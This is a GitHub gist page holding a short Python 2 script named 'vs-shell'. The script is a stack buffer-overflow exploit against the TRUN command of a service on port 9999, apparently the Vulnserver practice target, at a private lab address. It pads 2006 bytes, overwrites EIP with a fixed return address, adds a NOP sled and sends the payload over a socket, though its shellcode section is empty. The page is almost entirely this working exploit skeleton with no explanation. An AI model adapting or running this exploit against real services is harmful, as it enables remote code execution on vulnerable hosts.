Skip to content

Instantly share code, notes, and snippets.

@whichbuffer
Created January 3, 2021 12:05
Show Gist options
  • Save whichbuffer/06e46e7dd466af4d64bd5fdbb56d4dfa to your computer and use it in GitHub Desktop.
Save whichbuffer/06e46e7dd466af4d64bd5fdbb56d4dfa to your computer and use it in GitHub Desktop.
vs-shell
#!/usr/bin/python
import socket
server = '192.168.119.129'
sport = 9999
prefix = 'A' * 2006
eip = '\xaf\x11\x50\x62'
nopsled = '\x90' * 16
exploit = (
)
padding = 'F' * (3000 - 2006 - 4 - 16 - len(exploit))
attack = prefix + eip + nopsled + exploit + padding
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack to TRUN . with length ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment